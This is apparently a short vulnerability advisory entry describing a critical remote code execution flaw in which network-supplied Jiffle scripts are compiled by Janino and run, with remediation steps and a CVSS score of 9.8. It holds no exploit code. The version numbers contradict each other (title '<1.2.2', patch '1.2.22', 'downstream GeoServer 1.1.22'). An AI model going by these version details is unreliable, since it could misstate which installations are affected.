| Title | GeoServer <1.2.2 - Remote Code Execution |
|---|---|
| Author | mukundbhuva |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system. |
| Remediation | 1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z.jar from the classpath. |
| CVSS Score | 9.8 |

Programs run on GeoServer before 1.2.2 which use jt-jiffle and allow Jiffle script to be provided via network request are susceptible to remote code execution. The Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects downstream GeoServer 1.1.22.
